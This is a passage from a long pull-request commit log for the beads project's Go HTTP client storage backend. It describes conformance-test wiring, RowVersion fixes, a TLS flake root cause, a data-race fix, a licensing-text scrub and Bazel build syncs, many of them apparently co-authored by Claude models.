internal-plumbing entrypoints (lifecycle writes, DependencyEditor, MetadataCAS, Lease, Sweeper, VersionReconciler, Bootstrapper/ InitVerifier, cross-record invariants) that S4 and later write slices pick up and ratchet down. - Adds //internal/httpclient:go_srcs to storage_test's data: the leg's wiring root lives outside internal/storage, and the Bazel sandbox has no other reason to materialize those sources for a test that reads them at runtime. TestEveryLegWiresEveryRoleContract, TestEveryRoleMethodHasAContractCase, and RunUnsupportedContract (already wired pre-lift in internal/httpclient/completeness_test.go) all pass for the http leg. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): close review's HIGH 2-5 gaps and reconcile their test doubles HIGH 2 (BatchCloser), HIGH 3 (created_by stamping, absent-parent 404/400, force_notes_overwrite carriage) and HIGH 4 (CapabilityError now unwraps to a typed *storage.ErrUnsupported with Capability) were implemented in prior commits on this branch; this change finishes HIGH 5 and the verification the review asked for: - role_reader.go's Reader.Get and bridge.go's raw GetIssue both now stitch Revision back onto Issue.RowVersion via parseRevision, so a guarded write built off either read carries the row's real token instead of a decoded zero. Both are pinned by round-trip served tests that guard a write with the read's token and require a stale-token replay to refuse. - Fixed create_test.go's stale assertion that created_by must stay empty (contradicted the HIGH 3 stamping fix it predated). - Fixed recordingWire's canned IssueDetails{} response (roles_test.go): it omitted Revision, which is a required field on every getIssue response per the OpenAPI spec, and the HIGH 5 stitch now reads it unconditionally. - Synced internal/httpclient/wire/BUILD.bazel via gazelle: handshake_test.go's new internal/storage import had no corresponding dep. - gofmt'd write_roles_test.go's stubWire struct tags. Verified: served HTTP conformance tier (BEADS_TEST_EMBEDDED_DOLT=1 BEADS_HTTP_TEST_REQUIRED=1 go test ./internal/httpclient/, -timeout=40m) 600 PASS / 0 FAIL / 72 SKIP (all ledgered known-divergence waivers). One TLS-handshake-timing test failed in that run and passed 3/3 in isolation (unrelated file, pre-existing flake under machine load, not reproducible). Also green: default go test (minus the pre-existing, unrelated TestEngdocsAndRootMarkdownLinks doc-link drift and the environmental internal/storage/uow dolt-server-spawn hang), bazel build/test for the touched packages, make api-check, and gofmt/vet. Live-mutated and reverted 3 guards to confirm their tests are load-bearing: role_reader.go's RowVersion stitch, bridge.go's RowVersion stitch, and lifecycle.go's force_notes_overwrite wiring. Co-Authored-By: Claude Sonnet 5 * feat(ci): add served HTTP conformance as Tier 3 of the conformance gate The served tier (internal/httpclient's served_*_test.go corpus) never ran in CI, so HIGH 2-5's regressions (and any future ones) would merge undetected. Add it as Tier 3 of scripts/conformance.sh, the existing required entrypoint conformance.yml already runs on every PR/push/merge_group (not a new workflow, not wired through ci-gate.sh's aggregation -- this repo's convention for this gate is a single standalone job): CGO_ENABLED=1 BEADS_TEST_EMBEDDED_DOLT=1 BEADS_HTTP_TEST_REQUIRED=1 \ go test -timeout=40m ./internal/httpclient/ Left unsharded: Tier 1 and Tier 2 are themselves single unsharded invocations, and Tier 3 is one Go package, not a multi-package corpus the repo's existing package-sharding scripts apply to. No Bazel-lane addition: bazel-coverage's embedded/dolt_server outputs only ever substitute for main.yml/pr-risk.yml jobs, never for conformance.yml's own job, so there is no existing Bazel-lane relationship for this gate to extend. Bumped the job's timeout-minutes 45 -> 100 (30m + 10m + 40m budgeted sub-timeouts plus checkout/setup-go overhead) and updated the three policy tests that pin this script/workflow byte-for-byte (TestConformanceScriptUsesExplicitTimeoutBudgets, TestConformanceScriptPropagatesGoTestFailures, TestConformanceWorkflowHasOuterTimeoutBudget), re-included internal/httpclient/** in both path filters (push and pull_request, kept identical) since served_*_test.go files are the suite itself and would otherwise be excluded by the shared !**_test.go negation, and documented the new filter entry in ci_f7c_advisory_test.go's own-entries map. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): root-cause and fix the Happy-Eyeballs TLS flake in store_dependent_test.go TestTransportForSucceedsWithEnvCAFile (and 3 Handshake-based siblings that assert on a successful dial through a configured CA: SidecarCAFile, CAFileEnvAgreeingWithSidecarSucceeds, DialWithNilTransportHTTPClientGetsCAInjectedOnACopy) flaked once with "tls: first record does not look like a TLS handshake". Root cause: our code, same class S2 already fixed for TransportFor's direct callers (forceIPv4Loopback in ca_test.go/ca_wrong_ca_test.go). Every server these tests dial is addressed by hostname "localhost" (ca.startServer rewrites it there deliberately, so SNI is actually sent), which Go's default dialer races a tcp6 dial to ::1: against the real tcp4 dial to 127.0.0.1: for (RFC 6555). An unrelated local process already bound to a colliding ephemeral port on ::1 can occasionally win that race before the real dial completes, and the client speaks TLS to that unrelated process instead -- the misleading handshake error, not a real hang or a product bug. These four tests go through Handshake with DialOptions{} (HTTPClient left nil deliberately, since that is itself the nil-HTTPClient branch of DialWith under test), so they never get a *http.Transport back to mutate the way forceIPv4Loopback's existing callers do. Fixed via warmIPv4OnlyCATransport: pre-build the target's CA-scoped transport through the same public TransportFor the product code itself calls (so it lands in the exact (path, content)-keyed cache transportForFile's cache hit returns), force tcp4-only on that cached pointer, and let Handshake's own DialWith run unchanged -- same branch under test, same cached transport, no sleeps, no retries. Verified with -race -count=50 on all four: 200/200 pass. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): refuse DetectCycles(IncludeTracks=true) instead of silently ignoring it roles_graph.go's httpCycleDetector.DetectCycles took its request as `_`, forwarding nothing: a caller asking for the widened (tracks-following) walk silently got the narrower default walk back with no error. listDependencyCycles has no include_tracks wire parameter at all, so there is no way to honor the field — only to refuse it loudly or drop it silently. Switch to the typed, ledger-cited refusal (encode.RefusedError via refuse(), citing new row "L-cycles-tracks") that CountEdges' own wire bound already uses, add the ledger row and its Op, regenerate the auto-generated ledger doc, and pin the behavior with a unit test (no served-tier case needed: the refusal is pre-dial by design, same reasoning as the existing edge-count bound pin). Also fix leg_contract_wiring_test.go's cycleTracksWireGapWaiverReason, which had gone stale: it described the http leg as silently forwarding nothing for this field, which was true before this change and is not after. The waiver itself (the three RunCycleDetectorIncludeTracks* contract cases stay unwired for the http leg) is unaffected — they were never wired, and still are not — only the reason text needed updating to describe a typed refusal instead of a silent ignore. Co-Authored-By: Claude Sonnet 5 * fix(storage): name the http leg's permanent contract gaps instead of budgeting them The http leg's role-contract adoption ceiling (internal/storage/contract_leg_registry_test.go) sat at a flat 75, with a prose "adopting" note that bundled every skip into one vague bucket — including MetadataCAS, which is in fact fully wired (0 missing cases), a false claim left over from an earlier wiring pass. Twenty-six of the 75 skips are not S4-and-later work at all: they are PERMANENT gaps that no future slice closes, because the contract itself has no publicops role for an HTTP client to route through: - Importer (4 cases): uow is Importer's one accessor, same precedent the dolt and embeddeddolt legs already carry (importerOneAccessorWaiverReason). - RetentionFixture/EpochFixture (15 cases) and CrossRecordInvariantFixture (7 cases): both fixtures carry raw storage hooks (Resolve, Erase, Mint, CurrentEpoch, GuardedWrite, EnforceCrossRecordInvariant, ...) with no publicops field at all. dolt, embeddeddolt and uow wire these because they ARE the storage engine this address/epoch/retention and cross-record transaction bookkeeping belongs to; the http leg is a remote client with none of its own to report. There is no wire surface for this to ever route through short of a new role being designed from scratch — a new slice, not a missing test line. These 26 are now named, reasoned waivers in unwiredContractEntrypoints (two new reason constants: retentionEpochNoRoleWaiverReason and crossRecordInvariantNoRoleWaiverReason), and the ceiling drops from 75 to 49 to match. The "adopting" note is rewritten to correctly name every remaining category under budget (lifecycle writes, DependencyEditor, DualWrite, Sweeper, VersionReconciler, Bootstrapper/InitVerifier, ExpectedRevision/ Refusal) and to drop the false MetadataCAS claim. Also documents, at conformanceEntrypointsWiredBy, why a leg wiring a conformance.RunX reference with every hook left nil would read as "adopted" by this lock's static source grep while actually running as a skip — matching the loophole internal/httpclient's divergence_citation_gate_test.go already closes for skipKnownDivergence call sites. No leg currently does this (verified by inspection); the note sets the review expectation for future wiring rather than papering over the gap with no record of the policy. Co-Authored-By: Claude Sonnet 5 * fix(licensing): scrub internal program/org naming and a leaked private ID from OSS-visible text MEDIUM 8 of the S3 ship review: remove licensing-hygiene leaks found by a read-only repo-wide survey, while leaving every legitimate "Contributed by gascity from bd-enterprise ... to OSS beads under the MIT license." provenance header and every genuine public gascity/gastownhall self-reference (the real OSS org, beads.gascity.com docs domain, RBE infra) untouched: - Delete release-gates/ga-7psli2-3-1-baseline-cmd-bd-fix-gate.md: the only file in release-gates/ keyed by a private `ga-` tracker ID instead of the directory's established public `be-` convention (30 other files), and the only one leaking internal filesystem paths (/home/jaword/..., gc-management/.gc/artifacts) and internal routing terms (mayor/mpr, "deployer session"). Not referenced from anywhere else in the tree. - .golangci.yml: drop two private `ga-2ltro.12`/`ga-26w10` history citations used as nolint-comment justifications; reworded to the same explanatory content without naming a private tracker ID. - Reword 19 "gc native-program" occurrences (14 files, comments and one design doc) to drop the internal program name while keeping the "S3 reconciliation (2026-10)" dating they were attached to. - cmd/bd/if_revision.go, if_revision_test.go, update.go, update_proxied_server.go: drop literal citations of gascity's private bdstore_conditional.go classifier (including a test function name, TestIfRevisionEnvelopeGascityContract -> ...DownstreamContract) while keeping the substantive explanation of why this envelope's shape is load-bearing for a downstream consumer. - internal/httpclient/lifecycle.go: drop a citation of gascity's private internal/beads/bdstore.go. - internal/httpclient/dial.go: drop the internal/enterprise/httpgw package path, keeping "a gateway dialer outside this repo". - internal/httpclient/register.go: reword away from naming "the enterprise distribution" while keeping the build-tag-opt-in behavior it documents. Verified: go build ./..., go vet ./internal/httpclient/... ./cmd/bd/..., go test ./internal/httpclient/... and ./cmd/bd/... -run TestIfRevision all pass; TestDivergenceLedgerDocMatchesLedger still passes (ledger.go and its doc were edited in lockstep). gofmt -l reports no diffs on any touched file. Co-Authored-By: Claude Sonnet 5 * fix(httpclient/wire): correct the CapExternalDependencies doc's implied false claim MEDIUM 9 of the S3 ship review. The old comment on CapExternalDependencies said this client "has no external-dependency policy layer to gate" and that "OSS publishes no storage.ExternalDependencyQueryStore-backed client policy ... to compose" immediately after naming bd-enterprise's removed policy.go -- easily misread as "OSS has no external-dependency decorator at all." It does: internal/storage/externaldeps's decorator is unconditional (no build tag) and is wired into every local storage chain by cmd/bd/storage_chain.go. Reworded to say precisely what is and is not true: the decorator exists and runs for local backends; what this http client lacks is a client-side composition of that decorator around a remote store, which is moot anyway because a server advertising this capability already applies the policy itself before answering. (Rolled in the same "gc native-program" wording removal from the MEDIUM 8 commit, since both edits touch this comment block.) A second claim from the same review item -- that OSS is said somewhere not to serve events:watch -- could not be located despite an exhaustive repo-wide search (this file, engdocs/, docs/reference/events-journal.md, SERVE_RUNBOOK.md, the divergence ledger, CHANGELOG.md, and a dedicated read-only research pass). internal/httpapi/events_watch.go, routes.go's events.watch route entry, and internal/httpclient/wire/stream.go all confirm OSS serves it unconditionally (gated only per-workspace by the events journal setting, not by build/distribution). No corresponding false claim exists in this worktree to fix; noting this rather than editing something that already reads correctly. Verified: go build ./internal/httpclient/..., go vet, go test ./internal/httpclient/wire/... pass. gofmt -l clean. Co-Authored-By: Claude Sonnet 5 * test(unsupportedgen): add a freshness check for the generated shell LOW item from the S3 ship review: internal/storage/unsupportedgen had no tests of its own, so the generator could drift from the checked-in internal/httpclient/unsupported_gen.go (a storage.DoltStorage interface change, or a hand-written method added/removed on Store) with nothing to catch it short of a human noticing the diff. TestInterfaceCompleteness (completeness_test.go) already pins which methods belong in the shell by name, but not whether the checked-in bytes match what the generator would produce today. TestGeneratedShellIsFresh runs the same scan-then-generate pipeline main() runs for the registered DoltStorage/httpclient/Store consumer and diffs the result against the checked-in file -- mirrors the existing TestDivergenceLedgerDocMatchesLedger pattern in internal/httpclient/encode/ledger_render_test.go. Added TestScanHandWrittenMethodsExcludesOwnOutput alongside it to pin the correctness property the freshness check depends on (scanning must not see the generator's own prior output as hand-written). BUILD.bazel: added the go_test rule by hand (gazelle cannot infer the cross-package `data` dependency a relative-path os.ReadFile needs under the Bazel sandbox) with data = ["//internal/httpclient:go_srcs"], following the existing cross-package data pattern in internal/httpclient/encode/BUILD.bazel. Placed go_test before the go_srcs.py-managed filegroup block, which `make bazel-sync-check` requires. Verified: `bazel run //:gazelle` leaves the rule untouched, `bazel test //internal/storage/unsupportedgen:unsupportedgen_test` passes, `make bazel-sync-check` is clean, go build/vet/test ./... all pass. Co-Authored-By: Claude Sonnet 5 * fix(httpclient/encode): scrub a private tracker-ID cluster from the shipped divergence-ledger doc Follow-up to the MEDIUM 8 licensing scrub: internal/httpclient/encode's ledger_render.go header and ledger.go's comments/pinnedElsewhere constant/two Why strings cited "ga-b8ddd.12/.19/.23/.30" by name. These feed directly into engdocs/design/http-divergence-ledger.md -- a shipped, generated OSS design doc, the most visible surface this private ID cluster reached (Fork A's MEDIUM 8 survey found ~40 occurrences of "ga-b8ddd" across the httpclient package; this commit addresses the subset inside package encode that is checked-in prose/doc text, not test-fixture or assertion values). Reworded to keep the same substantive explanation (what closed, what's still deferred, which dual run resolved L17) without naming the private ID. The remaining ~30 occurrences of "ga-b8ddd" outside package encode (offrole.go, metadata.go, store.go, roles_test.go, wire/*_test.go, served_*_test.go) are left for a follow-up pass: scrubbing them individually needs the same per-file verification this commit did, and is a larger, separate blast radius than was practical in this pass. Regenerated engdocs/design/http-divergence-ledger.md via `go test ./internal/httpclient/encode -run TestDivergenceLedgerDocMatchesLedger -update-ledger-doc`; diff confirmed only the ga-b8ddd text changed. go build ./..., go vet ./internal/httpclient/..., and go test ./internal/httpclient/... all pass. Co-Authored-By: Claude Sonnet 5 * docs(httpclient): drop a private host reference from a test comment Co-Authored-By: Claude Opus 5.5 (1M context) * revert(licensing): keep the scrub to the contributed client code The previous scrub also edited upstream files this PR doesn't otherwise touch (.golangci.yml, cmd/bd --if-revision files from #7203) and deleted an upstream release-gate record. Restore them; the provenance scrub applies only to the code contributed from bd-enterprise. Co-Authored-By: Claude Opus 5.5 (1M context) * feat(httpclient): wire S8 count-scope fields on the client Encode ParentID/NoParent/ExcludeTypes/ExcludeStatus onto countIssues (table.go + encode.go), add issues.count.scope to the client capability table (wire/handshake.go, wire/vocabulary_test.go), and refuse locally before dialing when the server hasn't advertised the token and any scope field is set (counter.go's refuseUnservedScope), returning a typed *storage.ErrUnsupported{Capability:"issues.count.scope"} rather than dropping fields or taking a guaranteed-400 round trip. Adds encoding-parity coverage (counts_test.go), a masked-token skew test proving the pre-dial refusal and zero dials (counts_test.go), roundtrip and skew-table fixes for the newly-encoded fields (encode/roundtrip_test.go, encode/skew.go), and wires S8's nine shared Counter conformance cases into the served http leg (served_counter_test.go), including AddDependency so the wisp/compose cases run instead of skipping. List stays nil on this fixture since listTable() has pre-existing, unrelated permanent refusals for ListRequest.NoParent/ExcludeTypes, so the three *MatchesListCardinality cases skip here by design. internal/storage's TestEveryLegWiresEveryRoleContract/http ceiling check remains red (53 skipped vs ceiling 49) after this change, but strictly improved: before this change the inherited baseline was 62 skipped (13 over ceiling), all nine of S8's new entrypoints unwired. This change wires all nine, closing exactly that gap; the remaining 4-over are named RunBootstrapper*/RunDependencyEditor* cases unrelated to count-scope, pre-existing debt from other already-merged slices whose ceiling was never bumped for them. Left the ceiling constant alone rather than raising it to paper over debt this change doesn't own. Co-Authored-By: Claude Sonnet 5 * fix(storage): close the http leg's role-contract ceiling regression TestEveryLegWiresEveryRoleContract/http went red after the rebase (62 skipped, 13 past its ceiling of 49) before any work in this session; the prior commit closed 9 of those (S8's Counter cases). The remaining 4-over were RunBootstrapper* (9 entries) and RunDependencyEditor* (2 entries), both newly-merged contracts this leg had never classified. RunBootstrapper*: internal/httpclient/accessors.go already names Bootstrapper PERMANENTLY UNSERVABLE over http (bd init resolves its substrate identity entirely client-side, before any server exists to dial) — add a new named waiver, bootstrapperPermanentlyUnservableWaiverReason, covering all nine entrypoints. VersionReconciler and InitVerifier are named permanently unservable by the same accessors.go comment but are left under the ceiling for their own reviewed change, out of scope here. RunDependencyEditor*: the OSS server already serves add/remove and the http leg already wires nearly all of DependencyEditor's contract. The two missing cases (SameTypeReAddWithChangedMetadataMintsOneVersion, SameTypeReAddWithIdenticalMetadataIsANoOp) only needed SetVersionedHistoryEnabled wired onto the fixture, the same way SetJournalEnabled already is — wired it for real; both pass served. With Bootstrapper waived and DependencyEditor fully wired, the leg's unwaived-missing count drops from 53 to 42, so adoptionCeiling moves from 49 to 42 to keep the ratchet exact, with the adopting prose updated to match. TestEveryLegWiresEveryRoleContract is green. Served tier (real, CGO + embedded dolt): 611 PASS, 0 FAIL, 72 SKIP (up from 609). bazel build/test and make api-check pass for the touched targets. Co-Authored-By: Claude Sonnet 5 * build(bazel): auto-sync BUILD files Applied from the bazel-sync-patch artifact of https://github.com/gastownhall/beads/actions/runs/37307836753 (`make bazel-sync`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see scripts/bazel-autofix-push.sh. * fix(conformance): pass -tags gms_pure_go to Tier 3's served httpclient run scripts/conformance.sh:61 ran a bare `go test -timeout=40m ./internal/httpclient/` for Tier 3 (served HTTP client/role conformance), which `make ci-pr-policy`'s build-tag policy check refuses ("bare go test without -tags=gms_pure_go"). Pass the same -tags Tier 1 already does, and update TestConformanceScriptUsesExplicitTimeoutBudgets' pinned argv to match. Co-Authored-By: Claude Sonnet 5 * fix(bazel): give //internal/httpclient:httpclient_test room to run The package takes ~350s under --config=ci (BEADS_TEST_SKIP=dolt, no BEADS_TEST_EMBEDDED_DOLT) — mostly wall-clock wait on the CA tests' dialer/keep-alive timeouts, not CPU — but the go_test had no size/timeout override, so it inherited the medium default's 300s and timed out intermittently under Bazel (and took "Go test equivalence" down with it). Set size = "large", timeout = "long", matching //internal/storage/embeddeddolt's go_test. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): fix data race in caContextHandler test helper TestTransportForRaisesMaxIdleConnsPerHostForBursts drives caContextHandler with 8 concurrent requests; handler() wrote requestSeen/host/sni from every server goroutine with no synchronization, and the other nine callers (all single-request) never exercised the race. go test -race reproduced it as 3x DATA RACE across repeated runs. Guard the fields with a mutex and expose them only through accessor methods (sawRequest/seenHost/seenSNI), updating every call site in store_dependent_test.go accordingly. Co-Authored-By: Claude Sonnet 5 * fix(unsupportedgen): canonicalize reflect-visible stdlib aliases TestGeneratedShellIsFresh fails on Go >= 1.27: encoding/json.RawMessage became an alias of encoding/json/jsontext.Value, and reflect only ever sees an alias's underlying type, so formatType rendered storage.DoltStorage.MergeMetadata's signature with the new, non-portable name even though the signature itself did not change. A contributor on 1.27 following the freshness test's own advice ("go generate ./internal/httpclient") would commit a shell that does not compile on the 1.26.7 SDK this repo pins. Add reflectAliasCanonical, a table mapping a reflect-visible alias target back to the name a human wrote in source, consulted by namedType. Add an entry here for any future stdlib alias this generator's output needs to stay stable across. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): claimOnlyUpdate propagates the claim's RowVersion bridge.go's GetIssue already stitches details.Revision onto hydrated.RowVersion when claimOnlyUpdate rehydrates labels/CreatedBy onto the claim response, but the claim response itself (issueops.Claimer's bare-row contract) carries no revision at all, and the copy-back only touched Labels and CreatedBy. So Lifecycle.Update({Actor, IssueID, Claim: true}) — `bd update X --claim` — handed back Issue.RowVersion == 0 over http where the local leg returns the real token, and feeding that into the next write's ExpectedVersion got a spurious mismatch instead of none. Copy RowVersion back too. Extend RunLifecycleResultsCarryThePostWriteRowVersion (shared lifecycle/close/reopen conformance contract) with a claim-shaped first link in the chain: claim, then guard the next write with the claim result's own token, proving the claim-only path populates the real version rather than a nonzero constant. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): stitch RowVersion on SearchIssues' exact-id fast path resolve.go's getIssuesByExactID decodes the same IssueDetails shape bridge.go's GetIssue does, but never parsed details.Revision the way GetIssue's own stitch does, so SearchIssues(ctx, "") answered RowVersion 0 — a one-line gap: Issue.RowVersion is json:"-", so the decode left it at zero, and only the explicit parseRevision stitch recovers it from the response's own Revision string member. Add TestSearchIssuesExactIDPopulatesRowVersionForAGuardedWrite, pinning the same guarded-write round trip TestBridgeGetIssuePopulatesRowVersionForAGuardedWrite already pins for the plain GetIssue path. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): route every write role's refusals through inexpressible Review finding 7: write-side refusals were not uniformly *ErrUnsupported. Read roles already wrap encoder refusals through Store.inexpressible, which reaches both encode.RefusedError and encode.CapabilityError; the write side's refuse() returned a bare *encode.RefusedError instead, so a caller doing errors.As(err, &unsupported) caught the count-scope refusal but missed Sweeper.Sweep(Limit), DetectCycles(IncludeTracks), ReadyClaimer.ClaimNext, BatchApplier.ApplyBatch, BatchCloser.CloseBatch, Deleter.Delete, DependencyEditor.AddDependencies, and BatchCreator.CreateBatch. Give InexpressibleError a detail field that preserves the original error's composite text (an "items[%d]..." or "Issue.%s:" prefix a deeper encoder helper already adds) instead of collapsing the message to the bare ledger row text, and wrap every remaining write role's exported method in a single named-return defer calling store.inexpressible, matching the pattern lifecycle.go's Create/Update/Reopen already use. Add TestWriteRoleRefusalsMatchTheReadShape, pinning three write-side refusals (Sweeper.Sweep Limit, CycleDetector.DetectCycles IncludeTracks, ReadyClaimer.ClaimNext) now classify via errors.As(*storage.ErrUnsupported) the same way a read-side refusal does. Co-Authored-By: Claude Sonnet 5 * fix(cmd/bd): stop spelling out Status: StatusOpen on a markdown batch create Review nit 8: batchcreator.go's refuseUnwirableIssue refuses a populated Status (apigen.BatchCreateItem has no wire slot for it), and buildMarkdownBatchRequest always set Status: types.StatusOpen explicitly, so `bd create --file` refused on every call against an http-backed store. PreparePublicCreateRequest already defaults an empty Status to StatusOpen on every backend, including the http client store's own server, so the explicit assignment here was never a different outcome - only a populated member the wire can't carry. Leave it unset; the created issue is identical on every backend, and the http leg's role-level accounting for why Status and CreatedBy are excluded from its allowlists is documented on batchCreateCarriedIssueMembers (internal/httpclient/batchcreator.go). CreatedBy is left as-is: that member genuinely has no wire slot AND the server does not yet stamp it from Actor (a gap already tracked in this PR's Follow-ups), so its refusal is correct, not a bug to route around. Co-Authored-By: Claude Sonnet 5 * docs(httpapi): correct create.go's CreatedBy comment to caller-asserted Review nit 8: the comment claimed CreatedBy is stamped from the "authenticated actor," but actor is parsed straight from the request body (s.bodyActor) and never authenticated - exactly as this file's own doc comment states a few lines above. Reword to "caller-asserted actor" and cross-reference that doc comment so the two stay consistent. No behavior change: the stamp itself and its test coverage were already correct. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): raise MaxIdleConnsPerHost for a supplied client's nil Transport Review nit 8: DialWith's doc comment promises the raised MaxIdleConnsPerHost ceiling on every dial, "whether or not a CA is configured," but the opts.HTTPClient.Transport == nil arm only injected a transport when the target's CA was configured (resolved.configured()). A caller-supplied *http.Client with a nil Transport and no CA fell through untouched, so it defaulted to http.DefaultTransport's own ceiling of 2 at request time instead - silently exempting this one shape from the doc's promise and forcing a fresh TLS handshake on most of a concurrent burst even once the pool is warm. Route this arm through the same dialTransport helper the opts.HTTPClient == nil arm above already uses (the CA-scoped transport when a CA is configured, the shared baseline otherwise), injected onto a copy so the caller's own *http.Client fields (Timeout, CheckRedirect, Jar) stay untouched. Add TestDialWithSuppliedClientNilTransportNoCARaisesMaxIdleConnsPerHost: an end-to-end burst through wire.Client.Do, traced with httptrace, asserting the connection pool settles into reuse at a burst size the default ceiling of 2 cannot sustain. Co-Authored-By: Claude Sonnet 5 * docs(httpclient): stop citing nonexistent design docs from new source files Review nit 8: several comments added by this lift cited engdocs/design/http-client-backend.md, "D8 row N", and beads-design/slices.json - none of which exist in this repository (the design lived in the bd-enterprise-internal source this code was lifted from). Point each citation at what actually ships in-repo instead: engdocs/design/http-divergence-ledger.md (the generated, human-readable rendering of the divergence ledger in encode/ledger.go) for the D7/D8/D9 discipline citations in encode.go, ledger.go, bijection_test.go, write_ledger_test.go, wire/credential.go and store.go's package doc; and a direct description of the wire-gap it records, rather than a slices.json scope reference, in leg_contract_wiring_test.go's cycle-tracks waiver rationale. Regenerate http-divergence-ledger.md from ledger_render.go (which had the same stale citation) via `go test ./internal/httpclient/encode -run TestDivergenceLedgerDocMatchesLedger -update-ledger-doc` so the shipped doc and its generator agree. No behavior change; comment and generated-doc text only. Co-Authored-By: Claude Sonnet 5 * feat(httpclient): implement issueops.BatchGetter for the HTTP client leg The rebase onto origin/main (item 9 of PR #7247's review) brought in upstream #7248's new issueops.BatchGetter role on storage.DoltStorage, breaking the HTTP client leg's interface satisfaction. This wires it up as a read role (no actor, no version guard, writes nothing — dialed as a POST only because MaxGetManyIDs ids cannot ride a GET query string), mirroring Counter/Querier rather than the WriteWire-wrapped roles. - wire/paths.go: add PathIssuesBatchGet ("/v0/beads/issues:batchGet"). - batchgetter.go: httpBatchGetter.GetMany dials the server and stitches each resolved issue's RowVersion from apigen.BatchGetIssue.Revision (the role's only wire spelling of the row token, since RowVersion is json:"-"). checkGetManyIDs pre-validates the cap and blank-id rules, in the same order internal/storage/issueops.ValidateGetManyRequest applies them, because batch_get.go's failBatchGetErr collapses every validation failure into one generic, code-less InvalidArgument the client could never decode back into *issueops.TooManyIDsError. - accessors.go: add the BatchGetter() accessor (26th wire-backed role). - unsupported_gen.go: regenerated, dropping the now-implemented stub. - completeness_test.go: move BatchGetter into wireBackedAccessors and bump the asserted accessor-matrix total from 28 to 29. - served_test.go / served_harness_test.go: both package-local "by hand" httpapi.Config builders (serveRoles, serveConfig) now wire cfg.BatchGetter, fixing ~56 served-tier tests that broke once BatchGetter joined httpapi.Listen's required role set. - served_batch_getter_test.go: wire the HTTP leg into all 14 backend/conformance.RunBatchGetterXxx cases, following served_graph_counter_test.go's pattern. This surfaced a real bug: GetMany built Missing via append([]string(nil), body.Missing...), which stays nil when the server reports no misses, violating the role's "Missing is never nil on success" contract — fixed to build via make([]string, len(body.Missing)) + copy. Verified: go build/vet clean; internal/httpclient suite green (including the embedded-dolt served tier); TestEveryLegWiresEveryRoleContract holds the http leg's adoption ceiling at exactly 42 with no change needed; TestInterfaceCompleteness and TestAccessorMatrixMatchesDesign pass. Co-Authored-By: Claude Sonnet 5 * build(bazel): auto-sync BUILD files Applied from the bazel-sync-patch artifact of https://github.com/gastownhall/beads/actions/runs/37450731721 (`make bazel-sync`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see scripts/bazel-autofix-push.sh. * test(httpclient): lock contextServer.seen against concurrent handler goroutines TestDialWithSuppliedClientNilTransportNoCARaisesMaxIdleConnsPerHost drives the stub with bursts of 8 concurrent requests; the handler appended to seen without a lock. Readers only look at seen after their requests return. Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): sync go_srcs managed blocks for unsupportedgen after the main merge The PR adds internal/storage/unsupportedgen on a base that predates #7320, which gave every Bazel package a managed repo_files filegroup. On the merge, `python3 tools/bazel/go_srcs.py --check` (TestBazelGoSrcsBlocksCurrent) found 3 stale blocks: the package's own repo_files block, its entry in the root BUILD.bazel repo_files list, and its entry in tools/bazel/BUILD.bazel. `make bazel-sync` regenerated exactly those; gazelle changed nothing else. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * fix(httpclient): refuse DepAddItem.HasSpawner and ThreadID on applyBatch after the main merge Main's #7209 gave issueops.DepAddItem two members, HasSpawner and ThreadID, and a conformance case, RunBatchApplyStampsSpawnerIDOnlyWhenNamed. ApplyDepAddItem on the v0 wire publishes source, target, type and metadata only, so on the merge the http leg dropped both silently and two of the PR's gates went red: - TestEveryWireExcludedWriteMemberCarriesALedgerRow: the reflective census found two wire-excluded DepAddItem members with no ledger row. - TestEveryLegWiresEveryRoleContract/http: the new case left the leg at 43 unwired cases against its exact ceiling of 42. applyDepAddItemBody now refuses each member where the role would store something the wire cannot say, under two new KindRefuse rows, W-DepAddItem.HasSpawner and W-DepAddItem.ThreadID. The spawner flag refuses only on a waits-for edge, because the role ignores it on every other type and stores the same row either way. The ledger doc is regenerated (264 rows). The served tier wires the new case as a park on W-DepAddItem.HasSpawner, owned by the family's existing bead, which brings the http leg back to its ceiling. With the skip removed the case fails on the client's refusal; with the refusal also removed it fails on the drop the row names: spawner_id "" where the role stamps the resolved target. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * fix(httpclient): address #7247 relaunch review iteration 1 Review iteration 1 of the relaunched adoption raised six majors. This commit fixes all six. Five are the majors the first adoption's iteration 1 raised. Its fixup, 696803f250 (tag adopt-pr/bd-f5illd/stranded-fixup-696803f250), fixed them but never reached the branch. That fix is ported here onto the contributor's current head, with its reasoning unchanged; the sixth is new. Creates refused what the CLI sends. Every `bd create` carries CreatedBy, a workspace whose config.yaml names a prefix also carries IDPrefix, and the client refused both. - The server stamps created_by from the actor on all three create shapes: batch_create.go and batch_apply.go now match create.go. - The client sends a CreatedBy that names the actor and refuses any other value, which the server's stamp would silently replace. createIssue and the apply create item share refuseUnwirableIssueMembers. - IDPrefix refuses only where the role would act on it: an explicit, unforced id. - `bd create --file` stays refused over http. Dropping its Status was safe but not enough: the batch create still refuses its Provenance and Owner. The markdown.go and batchcreator.go comments that called it servable now say so. keysetFilter ignored AfterPriority. It now compares priority first, mirroring sqlbuild's KeysetPriorityCreatedAtIDPredicate, and a new served case resumes a priority keyset position. AfterID or AfterPriority without AfterCreatedAt no longer reads as a zero-instant position that discarded every row (the AfterID minor). Claim with a patch was refused on a false ledger claim. `claim`, `force_assignee_transfer` and `force_close_policy` now ride updateBody like `force_notes_overwrite`, so a claim with a patch or a version guard is one updateIssue call. A claim ALONE sent to a server that predates the member (#6890) falls back to claimIssue. The three ledger rows are retired, and the served cases parked on them now run. OpenReadOnly returns a writable store. It stays writable, as a documented exception: backends.Backend.OpenReadOnly also serves the root pre-run's classified reads, and `bd ready --claim` writes through that store. The exception is named in the backends.Backend contract, the store_factory invariant and the store doc, and 